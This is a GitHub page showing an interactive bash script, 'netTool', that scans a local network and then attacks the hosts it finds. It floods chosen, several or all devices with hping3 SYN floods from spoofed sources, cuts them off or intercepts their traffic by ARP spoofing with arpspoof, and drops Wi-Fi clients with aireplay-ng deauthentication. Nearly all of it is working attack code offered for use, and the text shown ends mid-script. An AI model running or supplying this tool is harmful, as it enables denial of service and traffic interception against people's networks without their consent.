-
Notifications
You must be signed in to change notification settings - Fork 1
/
netTool
executable file
·1286 lines (1267 loc) · 60.6 KB
/
netTool
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
#Colors_BEGIN
clear
red='\e[0;31m'
green='\e[1;32m'
orange='\e[1;33m'
lightblue='\e[0;34m'
purple='\e[0;35m'
cyan='\e[0;36m'
lightgray='\e[0;37m'
darkgray='\e[1;30em'
lightred='\e[1;31m'
lightgreen='\e[0;32m'
yellow='\e[0;49;93m'
blue='\e[1;34m'
lightpurple='\e[1;35m'
lightcyan='\e[1;36m'
white='\e[1;37m'
nc="\e[0m"
#Colors_END
#: <<'END_COMMENT'
nc="\e[0m"
#ROOT PRIVILEGIES
if [[ $EUID -ne 0 ]]; then
echo -e "$red You don't have Root privilegies, execute the script as root.$nc"
exit 1
fi
echo -e "$red""Staring""$nc"
sleep 0.5
clear
echo -e "$red""Staring.""$nc"
sleep 0.5
clear
echo -e "$red""Staring..""$nc"
sleep 0.5
clear
echo -e "$red""Staring...""$nc"
clear
sleep 0.5
#BEGIN-CHECKING FOR INTERNET CONNECTION
#
#INTERFACE SELECTION
active_interfaces=$(ip addr | awk '/state UP/ {print $2}' | sed 's/.$//')
active_interfaces_number=$(ip addr | awk '/state UP/ {print $2}' | sed 's/.$//' | wc -l)
if [ $active_interfaces_number -ge 2 ]; then
PS3="> "
createmenu() {
select interface in $active_interfaces; do # in "$@" is the default
if [ 1 -le "$REPLY" ] && [ "$REPLY" -le $(($#)) ]; then
break
else
echo -e "$orange""Please make a vaild selection (1 .. $#).$nc"
fi
done
}
declare -a interface=()
# Load Menu by Line of Returned Command
mapfile -t interface < <(ip addr | awk '/state UP/ {print $2}' | sed 's/.$//')
# Display Menu and Prompt for Input
echo -e "$yellow""Active Interfaces (Please select one): $nc"
echo ""
createmenu "${interface[@]}"
drive=($(echo "${interface}"))
echo -e "$orange""$interface"$blue" Selected!$nc"
sleep 1
clear
else
interface=$(route | grep '^default' | grep -o '[^ ]*$')
fi
while true; do
clear
#END_COMMENT
#Menu
echo -e " \e[1;31m -- NetTool -- \e[0m "
echo ""
echo -e " \e[0;34m Version : 2.5 \e[0m "
echo -e " \e[0;34m Coded by : @Disc0nct \e[0m "
echo -e " \e[0;34m Email : montasilinigamer@gmail.com \e[0m "
echo ""
#default_interface=$(route | grep '^default' | grep -o '[^ ]*$')
ip=$(ifconfig $interface | grep -w inet | cut -d" " -f10)
gateway=$(ip route show default | grep $interface | awk '{print $3}')
net_range=$(ip a l $interface | awk '/:/{found=1} found && /inet/ && !count{match($2,/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\/[0-9]+/);val=substr($2,RSTART,RLENGTH);sub(/[0-9]+\//,"0/",$2);print substr($2,RSTART,RLENGTH);count=1}')
echo -e ""$orange""Interface:$nc" $interface | "$orange""Gateway:$nc" $gateway"
echo "-------------------------------------------------"
echo -e ""$orange""IP:$nc" $ip | "$orange""Network Range:$nc" $net_range"
echo""
echo -e "$green""1)$nc"" - $green""Scan for hosts$nc"
echo -e "$green""2)$nc"" - $green""Scan for hosts(Nmap scan)$nc"
echo -e "$green""3)$nc"" - $green""kill internet connection$nc"
echo -e "$green""4)$nc"" - $green""Kick Devices OFF$nc"
echo -e "-------------------------------------------------"
echo -e "$orange""5)$nc"" - $orange""Change Interface$nc"
echo -e "$orange""6)$nc"" - $orange""Update$nc"
echo -e "$lightred""e)$nc" - "$lightred""Exit$nc"
echo ""
echo -en "$yellow""Select your option : $nc"
read option
echo ""
clear
case $option in
1)
while true; do
echo -en "$yellow""\033[2K\rScanning$nc"
sleep 0.1
echo -en "$yellow""\033[2K\rScanning.$nc"
sleep 0.1
echo -en "$yellow""\033[2K\rScanning..$nc"
sleep 0.1
echo -en "$yellow""\033[2K\rScanning...$nc"
sleep 0.1
done &
trap 'kill $!' SIGTERM SIGKILL
sleep 2
echo ""
echo -e "$orange""Hosts MAC Vendor$nc"
kill $!
arp-scan -I "$interface" --localnet -x
echo -e "\e[1;34mYour scan completed!\e[0m"
sleep 2
echo -en "$blue""PRESS [ RETURN ] TO CONTINUE$nc"
read input
sleep 0.5
;;
2)
echo -e " [+] Nmap scan [+] "
echo ""
echo -e "$orange""1-$nc""$green"" Simple scan $nc"
echo -e "$orange""2-$nc""$green"" Advanced scan $nc" "$blue""(Slow scan but detailed)$nc"
echo -e "$orange""0-$nc""$orange"" Go back$nc"
echo ""
echo -en "$yellow""Select your scan mode : $nc"
read opt2
case $opt2 in
1)
wget -q --spider https://www.google.com
if [ $? -eq 0 ]; then
while true; do
echo -en "$yellow""\033[2K\rScanning$nc"
sleep 0.1
echo -en "$yellow""\033[2K\rScanning.$nc"
sleep 0.1
echo -en "$yellow""\033[2K\rScanning..$nc"
sleep 0.1
echo -en "$yellow""\033[2K\rScanning...$nc"
sleep 0.1
done &
trap 'kill $!' SIGTERM SIGKILL
OUTPUT_FILE="nmap_scan_output.txt"
nmap -sP -n "$net_range" |
awk '/Nmap scan report/{ip=$5}; /MAC Address:/{print ip"\t"$3"\t"$4,$5}' |
awk '!seen[$0]++' |
awk '{gsub (/\(|\)/,""); vendor[$2]=$3" "$4; ip[$2]=$1}; END {for (i in vendor) print ip[i],"\t\t\t",i,"\t\t\t",vendor[i]}' |
sort |
awk '{printf "%-20s %-25s %-30s\n", $1, $2, $3}' \
>"$OUTPUT_FILE"
kill $!
echo ""
echo -e "HOSTS MAC ADDRESS VENDOR"
echo ""
cat "$OUTPUT_FILE" | grep -v -w "$gateway" | sort
#nmap -e $interface -oN simplescan.txt -sP $net_range </dev/null &>/dev/null
#cat scan.txt
#sed '1d;$d' simplescan.txt
#rm simplescan.txt
echo ""
echo -e "\e[1;34mYour scan completed!\e[0m"
sleep 2
echo -en "$blue""PRESS [ RETURN ] TO CONTINUE$nc"
read input
echo -e "$blue""Going back to Menu...$nc"
sleep 1
else
sleep 1
echo -e "$red""connection lost!$nc"
sleep 0.5
echo -e "$lightcyan""Please fix your internet connection and try again.$nc"
sleep 4
echo -e "$blue""Going back to Menu...$nc"
sleep 1
fi
;;
2)
wget -q --spider https://www.google.com
if [ $? -eq 0 ]; then
echo -e "\e[1;34mScanning...\e[0m"
sleep 1
nohup nmap -e $interface -oN advcan.txt -A $net_range </dev/null &>/dev/null
sed '1d;$d' advcan.txt
rm advcan.txt
echo -e "\e[1;34mYour scan completed!\e[0m"
sleep 2
echo -en "\e[1;32mPress [ RETURN ] To Continue \c\e[0m"
read input
echo -e "$blue""Going back to Menu...$nc"
sleep 1
else
sleep 1
echo -e "$red""connection lost!$nc"
sleep 0.5
echo -e "$lightcyan""Please fix your internet connection and try again.$nc"
sleep 4
echo -e "$blue""Going back to Menu...$nc"
sleep 1
fi
;;
esac
;;
3)
echo ""
echo -e "$lightred"" Kill Internet Connection $nc"
echo -e "$lightred"" Menu$nc"
echo ""
echo -e "$orange""1-$nc""$green"" Hping3 Dos Attack ("$blue"Recommended!"$nc""$green")$nc"
echo -e "$orange""2-$nc""$green"" Arpspoof Attack ("$blue"old, but still do the job."$nc""$green")$nc"
echo -e "$orange""0-$nc""$orange"" Go back$nc"
echo ""
echo -en "$yellow""select your option :$nc"
echo ""
read opt
case $opt in
1)
echo -e ""$yellow"---"$nc" "$blue"Hping3 Dos Attack "$yellow"---""$nc"
echo ""
echo -e "$orange""1-$nc""$green"" kill connection for 1 client$nc"
echo -e "$orange""2-$nc""$green"" kill connection for muliple clients$nc"
echo -e "$orange""3-$nc""$green"" kill connection for all clients$nc"
echo -e "$orange""0-$nc""$orange"" Go back$nc"
echo ""
echo -en "$orange""Select your option : $nc"
read opt
clear
case $opt in
1)
while [ true ]; do
echo -e "$yellow""Scanning for devices$nc"
sleep 0.1
clear
echo -e "$yellow""Scanning for devices.$nc"
sleep 0.1
clear
echo -e "$yellow""Scanning for devices..$nc"
sleep 0.1
clear
echo -e "$yellow""Scanning for devices...$nc"
sleep 0.1
clear
done &
clear
trap 'kill $!' SIGTERM SIGKILL
nmap -e $interface -n -sn $net_range | awk 'f==2{print s; f=s=""}/^(Nmap scan|MAC Address)/{sub(/^.*(for|:..) /,"");f++;s=(s?s OFS :"")$0}END{if(f==2)print s}' | sort -V >scan-output.txt
kill $!
sleep 0.2
clear
echo -e "$red""Internet Will Be Killed for the following IP(s)! $nc"
echo ""
sed -i "1d" -- scan-output.txt </dev/null &>/dev/null
cat scan-output.txt
awk '{print $1}' scan-output.txt >scan.txt
echo -en "$yellow""Type your target machine : $nc"
read target
echo -e "$cyan""killing$nc" "$red"$target $nc""
nohup hping3 -I $interface -c 1000000 -d 1024 -S -w 128 -p 21 --flood --rand-source $target </dev/null &>/dev/null &
sleep 1
echo -en "$blue""PRESS [ RETURN ] TO CANCEL$nc"
read input
pkill hping3
echo -e "$blue""Going back to Menu...$nc"
sleep 1
;;
2)
clear
echo -e "\e[1;34mScanning.\e[0m"
sleep 0.5
clear
echo -e "\e[1;34mScanning..\e[0m"
sleep 0.5
clear
echo -e "\e[1;34mScanning...\e[0m"
sleep 0.5
clear
echo -e "\e[1;34mScanning.\e[0m"
sleep 0.5
clear
echo -e "\e[1;34mScanning..\e[0m"
sleep 0.5
clear
echo -e "\e[1;34mScanning...\e[0m"
sleep 2
echo -e "$orange""Hosts MAC Vendor$nc"
arp-scan -I "$interface" --localnet -x
echo -en "$yellow""How many target(s)? $nc"
read targets
for ((i = 1; i < targets + 1; i++)); do
echo -n "type your target n° $i : "
read trgt
echo -e "$cyan""killing$nc" "$red"$trgt $nc""
nohup hping3 -I $interface -c 1000000 -d 1024 -S -w 128 -p 21 --flood --rand-source $trgt </dev/null &>/dev/null &
sleep 1
done
echo -en "$blue""PRESS [ RETURN ] TO CANCEL$nc"
read input
pkill hping3
echo -e "$blue""Going back to Menu...$nc"
sleep 1
clear
;;
3)
while [ true ]; do
echo -e "$yellow""Scanning for devices$nc"
sleep 0.1
clear
echo -e "$yellow""Scanning for devices.$nc"
sleep 0.1
clear
echo -e "$yellow""Scanning for devices..$nc"
sleep 0.1
clear
echo -e "$yellow""Scanning for devices...$nc"
sleep 0.1
clear
done &
clear
trap 'kill $!' SIGTERM SIGKILL
nmap -e $interface -n -sn $net_range | awk 'f==2{print s; f=s=""}/^(Nmap scan|MAC Address)/{sub(/^.*(for|:..) /,"");f++;s=(s?s OFS :"")$0}END{if(f==2)print s}' | sort -V >scan-output.txt
kill $!
sleep 0.2
clear
echo -e "$red""Internet Will Be Killed for the following IP(s)! $nc"
echo ""
sed -i "1d" -- scan-output.txt </dev/null &>/dev/null
cat scan-output.txt
awk '{print $1}' scan-output.txt >scan.txt
#sed -i -e "/$gateway/d" -- scan.txt </dev/null &>/dev/null
#grep -v "$ip" scan.txt > temp && mv temp scan.txt </dev/null &>/dev/null
echo ""
echo -en "$orange""Do you want to whitelist some IPs? (y/n) $nc"
read answ5
if [ "$answ5" == "y" ] || [ "$answ5" == "Y" ]; then
echo -en "$orange""How Many Ip(s) You Want to Whitelist? $nc"
read nb_whl
for ((i = 1; i < nb_whl + 1; i++)); do
echo -en "$blue""IP Adresse To whitelist n° "$i" : $nc"
read ip_whl
echo -e "$orange"$ip_whl $nc" Added To Whitelist!$nc"
sed -i -e "/$ip_whl/d" -- scan.txt </dev/null &>/dev/null
done
if [ -s scan.txt ]; then
# The file is not-empty.
echo -en "$blue""PRESS [ RETURN ] TO START ATTACK$nc"
read input
i=0
while IFS= read -r line; do
# The 'declare' syntax creates variables on the fly with the values
# read from the file
declare target$((i++))="$line"
done <scan.txt
count="$((i - 1))"
# Now the variables are created; those can be individually accessed as
# '$target1'..'$tatgetN'; but to print it on a loop, use
# indirect expansion using ${!var} syntax
clear
echo -e "$orange""Starting Attack...$nc"
sleep 0.3
for ((idx = 0; idx <= count; idx++)); do
temp=target$idx
trgt="$target""${!temp}"
echo -e "$lightblue""Killing$nc" "$red""$trgt $nc"
sleep 0.5
nohup hping3 -I $interface -c 1000000 -d 1024 -S -w 128 -p 21 --flood --rand-source $trgt </dev/null &>/dev/null &
sleep 1
done
echo -en "$blue""PRESS [ RETURN ] TO CANCEL$nc"
read input
pkill hping3
rm scan.txt scan-output.txt </dev/null &>/dev/null
echo -e "$blue""Going back to Menu...$nc"
sleep 1
else
# The file is empty.
echo ""
echo -e "$orange""Looks Like There Is No Target Selected!$nc"
sleep 2
rm scan.txt scan-output.txt </dev/null &>/dev/null
echo -e "$blue""Going back to Menu...$nc"
sleep 1
fi
else
i=0
while IFS= read -r line; do
# The 'declare' syntax creates variables on the fly with the values
# read from the file
declare target$((i++))="$line"
done <scan.txt
count="$((i - 1))"
# Now the variables are created; those can be individually accessed as
# '$target1'..'$tatgetN'; but to print it on a loop, use
# indirect expansion using ${!var} syntax
clear
echo -e "$orange""Starting Attack...$nc"
sleep 0.3
for ((idx = 0; idx <= count; idx++)); do
temp=target$idx
trgt="$target""${!temp}"
echo -e "$lightblue""Killing$nc" "$red""$trgt $nc"
sleep 0.5
nohup hping3 -I $interface -c 1000000 -d 1024 -S -w 128 -p 21 --flood --rand-source $trgt </dev/null &>/dev/null &
sleep 1
done
echo -en "$blue""PRESS [ RETURN ] TO CANCEL$nc"
read input
pkill hping3
rm scan.txt scan-output.txt </dev/null &>/dev/null
echo -e "$blue""Going back to Menu...$nc"
sleep 1
fi
;;
esac
;;
2)
echo -e ""$yellow"---"$nc" "$blue"Arpspoof Attack "$yellow"---""$nc"
echo ""
echo -e "$orange""1-$nc""$green"" kill connection for 1 client$nc"
echo -e "$orange""2-$nc""$green"" kill connection for muliple clients$nc"
echo -e "$orange""3-$nc""$green"" kill connection for all clients$nc"
echo -e "$orange""0-$nc""$orange"" Go back$nc"
echo ""
echo -en "$orange""Select your option : $nc"
read opt
case $opt in
1)
while [ true ]; do
echo -e "$yellow""Scanning for devices$nc"
sleep 0.1
clear
echo -e "$yellow""Scanning for devices.$nc"
sleep 0.1
clear
echo -e "$yellow""Scanning for devices..$nc"
sleep 0.1
clear
echo -e "$yellow""Scanning for devices...$nc"
sleep 0.1
clear
done &
clear
trap 'kill $!' SIGTERM SIGKILL
nmap -e $interface -n -sn $net_range | awk 'f==2{print s; f=s=""}/^(Nmap scan|MAC Address)/{sub(/^.*(for|:..) /,"");f++;s=(s?s OFS :"")$0}END{if(f==2)print s}' | sort -V >scan-output.txt
kill $!
sleep 0.2
clear
echo -e "$red""Internet Will Be Killed for the following IP(s)! $nc"
echo ""
sed -i "1d" -- scan-output.txt </dev/null &>/dev/null
cat scan-output.txt
awk '{print $1}' scan-output.txt >scan.txt
echo -en "$yellow""Type your target machine : $nc"
read target
xterm -e "arpspoof -i $interface -t $target $gateway" &
xterm -e "arpspoof -i $interface -t $gateway $target" &
sleep 1
echo -en "$blue""PRESS [ RETURN ] TO CANCEL$nc"
read input
pkill arpspoof
echo -e "$blue""Going back to Menu...$nc"
sleep 1
;;
2)
clear
echo -e "\e[1;34mScanning.\e[0m"
sleep 0.5
clear
echo -e "\e[1;34mScanning..\e[0m"
sleep 0.5
clear
echo -e "\e[1;34mScanning...\e[0m"
sleep 0.5
clear
echo -e "\e[1;34mScanning.\e[0m"
sleep 0.5
clear
echo -e "\e[1;34mScanning..\e[0m"
sleep 0.5
clear
echo -e "\e[1;34mScanning...\e[0m"
sleep 2
echo -e "$orange""Hosts MAC Vendor$nc"
arp-scan -I "$interface" --localnet -x
echo -en "$yellow""How many target(s)? $nc"
read targets
for ((i = 1; i < targets + 1; i++)); do
echo -n "type your target n° $i : "
read trgt
echo -e "$cyan""killing$nc" "$red"$trgt $nc""
nohup arpspoof -i $interface -t $trgt $gateway </dev/null &>/dev/null &
nohup arpspoof -i $interface -t $gateway $trgt </dev/null &>/dev/null &
done
sleep 1
echo -en "$blue""PRESS [ RETURN ] TO CANCEL$nc"
read input
pkill arpspoof
echo -e "$blue""Going back to Menu...$nc"
sleep 1
clear
;;
3)
while [ true ]; do
echo -e "$yellow""Scanning for devices$nc"
sleep 0.1
clear
echo -e "$yellow""Scanning for devices.$nc"
sleep 0.1
clear
echo -e "$yellow""Scanning for devices..$nc"
sleep 0.1
clear
echo -e "$yellow""Scanning for devices...$nc"
sleep 0.1
clear
done &
clear
trap 'kill $!' SIGTERM SIGKILL
nmap -e $interface -n -sn $net_range | awk 'f==2{print s; f=s=""}/^(Nmap scan|MAC Address)/{sub(/^.*(for|:..) /,"");f++;s=(s?s OFS :"")$0}END{if(f==2)print s}' | sort -V >scan-output.txt
kill $!
sleep 0.2
clear
echo -e "$red""Internet Will Be Killed for the following IP(s)! $nc"
echo ""
sed -i "1d" -- scan-output.txt </dev/null &>/dev/null
cat scan-output.txt
awk '{print $1}' scan-output.txt >scan.txt
#sed -i -e "/$gateway/d" -- scan.txt </dev/null &>/dev/null
#grep -v "$ip" scan.txt > temp && mv temp scan.txt </dev/null &>/dev/null
echo ""
echo -en "$orange""Do you want to whitelist some IPs? (y/n) $nc"
read answ5
if [ "$answ5" == "y" ] || [ "$answ5" == "Y" ]; then
echo -en "$orange""How Many Ip(s) You Want to Whitelist? $nc"
read nb_whl
for ((i = 1; i < nb_whl + 1; i++)); do
echo -en "$blue""IP Adresse To whitelist n° "$i" : $nc"
read ip_whl
echo -e "$orange"$ip_whl $nc" Added To Whitelist!$nc"
sed -i -e "/$ip_whl/d" -- scan.txt </dev/null &>/dev/null
done
if [ -s scan.txt ]; then
# The file is not-empty.
echo -en "$blue""PRESS [ RETURN ] TO START ATTACK$nc"
read input
i=0
while IFS= read -r line; do
# The 'declare' syntax creates variables on the fly with the values
# read from the file
declare target$((i++))="$line"
done <scan.txt
count="$((i - 1))"
# Now the variables are created; those can be individually accessed as
# '$target1'..'$tatgetN'; but to print it on a loop, use
# indirect expansion using ${!var} syntax
clear
echo -e "$orange""Starting Attack...$nc"
sleep 0.3
for ((idx = 0; idx <= count; idx++)); do
temp=target$idx
trgt="$target""${!temp}"
echo -e "$lightblue""Killing$nc" "$red""$trgt $nc"
sleep 0.5
nohup arpspoof -i "$interface" -t "$trgt" "$gateway" </dev/null &>/dev/null &
nohup arpspoof -i "$interface" -t "$gateway" "$trgt" </dev/null &>/dev/null &
sleep 1
done
echo -en "$blue""PRESS [ RETURN ] TO CANCEL$nc"
read input
pkill arpspoof
rm scan.txt scan-output.txt </dev/null &>/dev/null
echo -e "$blue""Going back to Menu...$nc"
sleep 1
else
# The file is empty.
echo ""
echo -e "$orange""Looks Like There Is No Target Selected!$nc"
sleep 2
rm scan.txt scan-output.txt </dev/null &>/dev/null
echo -e "$blue""Going back to Menu...$nc"
sleep 1
fi
else
i=0
while IFS= read -r line; do
# The 'declare' syntax creates variables on the fly with the values
# read from the file
declare target$((i++))="$line"
done <scan.txt
count="$((i - 1))"
# Now the variables are created; those can be individually accessed as
# '$target1'..'$tatgetN'; but to print it on a loop, use
# indirect expansion using ${!var} syntax
clear
echo -e "$orange""Starting Attack...$nc"
sleep 0.3
for ((idx = 0; idx <= count; idx++)); do
temp=target$idx
trgt="$target""${!temp}"
echo -e "$lightblue""Killing$nc" "$red""$trgt $nc"
sleep 0.5
nohup arpspoof -i $interface -t $trgt $gateway </dev/null &>/dev/null &
nohup arpspoof -i $interface -t $gateway $trgt </dev/null &>/dev/null &
sleep 1
done
echo -en "$blue""PRESS [ RETURN ] TO CANCEL$nc"
read input
pkill arpspoof
rm scan.txt scan-output.txt </dev/null &>/dev/null
echo -e "$blue""Going back to Menu...$nc"
sleep 1
fi
;;
esac
;;
esac
;;
4)
clear
sleep 0.5
PS3="> "
echo -e "$green""Available wireless interfaces:$nc"
echo ""
select interface in $(iw dev | awk '$1=="Interface"{print $2}'); do
echo -e "$orange""$interface $nc"$blue"selected!$nc"
break
done
chk_mode=$(iw dev "$interface" info | grep type | awk '{print $2}')
connected_ap_essid=$(iwconfig $interface 2>/dev/null | awk -F\" '{print $2}')
printf "$connected_ap_essid" >connected_ap_essid.txt
ESSID=$(grep -m1 "" connected_ap_essid.txt)
connected_ap_bssid=$(iwconfig "$interface" | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}')
printf "$connected_ap_bssid" >connected_ap_bssid.txt
BSSID=$(grep -m1 "" connected_ap_bssid.txt)
echo -e "Connected to "" : ""$connected_ap_essid | BSSID : $connected_ap_bssid"
sleep 0.2
echo -e "$blue""Interface current mode: $nc"$green""$chk_mode""
echo ""
echo -e "$orange""1-$nc""$green"" Kick One Device (Aireplay-ng)$nc"
echo -e "$orange""2-$nc""$green"" Kick Muliple Devices (Aireplay-ng)$nc"
#echo -e "$orange""3-$nc""$green"" Kick All Except You (mdk4)$nc"
echo ""
echo -e "$orange""0-$nc""$orange"" Go back$nc"
echo ""
echo -en "$yellow""Select your option : $nc"
read opt
case $opt in
1)
if [ "$BSSID" = "" ]; then
chk_mode=$(iw dev "$interface" info | grep type | awk '{print $2}')
if [ "$chk_mode" = "monitor" ]; then
echo "Monitor mode already enabled!"
sleep 1
clear
echo "Searching For Access-Points..."
echo -e "$blue""CTRL+C TO STOP Searching!$nc"
sleep 1
xterm -geometry 80x20-0+1 -e "echo 'CTRL+C TO STOP SEARCHING !' && wash -i $interface -a | tee aps_scan.txt" &&
cat aps_scan.txt
echo -en "$orange""Type Access-Point's MAC-Address : $nc"
read ap_mac
echo -en "$orange""Type Access-Point's Channel : $nc"
read ap_chan
echo "Searching For Clients For Selected Access Point..."
xterm -geometry 90x50-0+1 -e "echo 'CTRL+C TO STOP SEARCHING !' && airodump-ng --bssid $ap_mac --channel $ap_chan $interface | tee ap_scan.txt" &&
echo -e "$blue""CTRL+C TO STOP Searching!$nc"
cat ap_scan.txt
echo -en "$orange""Type Device's MAC-Address You Want To Kick : $nc"
read dv_mac
xterm -geometry 80x20-0+1 -e "airodump-ng --bssid $ap_mac --channel $ap_chan $interface " &
sleep 2
xterm -geometry 80x15-0-0 -e "aireplay-ng -0 0 -a $ap_mac -c $dv_mac $interface " &
sleep 2
echo -en "$blue""PRESS [ RETURN ] TO CANCEL$nc"
read input
pkill airodump-ng
pkill aireplay-ng
echo 'Cleaning files...'
rm ap_scan.txt aps_scan_txt
sleep 0.5
echo "Restoring interface to managed mode... "
ifconfig "$interface" down >/dev/null 2>&1
iwconfig "$interface" mode managed >/dev/null 2>&1
ifconfig "$interface" up >/dev/null 2>&1
systemctl restart NetworkManager
sleep 5
echo -e "$blue""Going back to Menu...$nc"
sleep 1
else
if [ "$chk_mode" = "managed" ]; then
echo -e "$orange""Your interface needs to be on monitor mode to continue!$nc"
sleep 0.3
echo -en "$orange""Enabel monitor mode? (y/n) $nc"
read answ3
if [ "$answ3" = "y" ] || [ "$answ3" = "Y" ]; then
airmon-ng check kill >/dev/null 2>&1
ifconfig "$interface" down >/dev/null 2>&1
iwconfig "$interface" mode monitor >/dev/null 2>&1
ifconfig "$interface" up >/dev/null 2>&1
chk_mode=$(iw dev "$interface" info | grep type | awk '{print $2}')
if [ "$chk_mode" = "monitor" ]; then
echo "Monitor mode enabled!"
sleep 1
clear
echo "Searching For Access-Points..."
echo -e "$blue""CTRL+C TO STOP Searching!$nc"
sleep 1
xterm -geometry 80x20-0+1 -e "echo 'CTRL+C TO STOP SEARCHING !' && wash -i $interface -a | tee aps_scan.txt" &&
cat aps_scan.txt
echo -en "$orange""Type Access-Point's MAC-Address : $nc"
read ap_mac
echo -en "$orange""Type Access-Point's Channel : $nc"
read ap_chan
echo "Searching For Clients For Selected Access Point..."
echo -en "$blue""CTRL+C TO STOP Searching!$nc"
xterm -geometry 90x50-0+1 -e "echo 'CTRL+C TO STOP SEARCHING !' && airodump-ng --bssid $ap_mac --channel $ap_chan $interface | tee ap_scan.txt" &&
cat ap_scan.txt
echo -en "$orange""Type Device's MAC-Address You Want To Kick : $nc"
read dv_mac
xterm -geometry 80x20-0+1 -e "airodump-ng --bssid $ap_mac -c $ap_chan $interface " &
sleep 2
xterm -geometry 80x15-0-0 -e " aireplay-ng -0 0 -a $ap_mac -c $dv_mac $interface " &
sleep 2
echo -en "$blue""PRESS [ RETURN ] TO CANCEL$nc"
read input
pkill airodump-ng
pkill aireplay-ng
echo 'Cleaning files...'
rm ap_scan.txt aps_scan.txt
sleep 0.5
echo "Restoring interface to managed mode... "
ifconfig "$interface" down >/dev/null 2>&1
iwconfig "$interface" mode managed >/dev/null 2>&1
ifconfig "$interface" up >/dev/null 2>&1
systemctl restart NetworkManager
sleep 5
echo -e "$blue""Going back to Menu...$nc"
sleep 1
else
echo -e "$red""Unable to change interface to monitor mode!$nc"
echo -e "$red""Your interface doesn't support monitor mode!$nc"
ifconfig "$interface" down >/dev/null 2>&1
iwconfig "$interface" mode managed >/dev/null 2>&1
ifconfig "$interface" up >/dev/null 2>&1
systemctl restart NetworkManager
sleep 5
echo -e "$blue""Going back to Menu...$nc"
sleep 1
fi
else
echo "Going back to menu..."
sleep 1
fi
fi
fi
else
chk_mode=$(iw dev "$interface" info | grep type | awk '{print $2}')
if [ "$chk_mode" = "monitor" ]; then
echo "Monitor mode already enabled!"
sleep 1
clear
echo "Monitoring your Access-Point '$ESSID'"
echo -en "$blue""CTRL+C TO STOP MONITORING!$nc"
sleep 1
xterm -geometry 90x50-0+1 -e "echo 'CTRL+C TO STOP MONITORING !' && airodump-ng --bssid $BSSID $interface 2>&1 | tee ap_scan.txt" &&
cat ap_scan.txt
echo -en "$orange""Type Device's MAC-Address : $nc"
read dv_mac
xterm -e " aireplay-ng -0 0 -a $BSSID -c $dv_mac $interface" &
sleep 0.5
echo -en "$blue""PRESS [ RETURN ] TO CANCEL$nc"
read input
pkill aireplay-ng
echo "Restoring interface to managed mode... "
sleep 1
ifconfig "$interface" down >/dev/null 2>&1
iwconfig "$interface" mode managed >/dev/null 2>&1
ifconfig "$interface" up >/dev/null 2>&1
systemctl restart NetworkManager
echo -e "$blue""Going back to Menu...$nc"
sleep 5
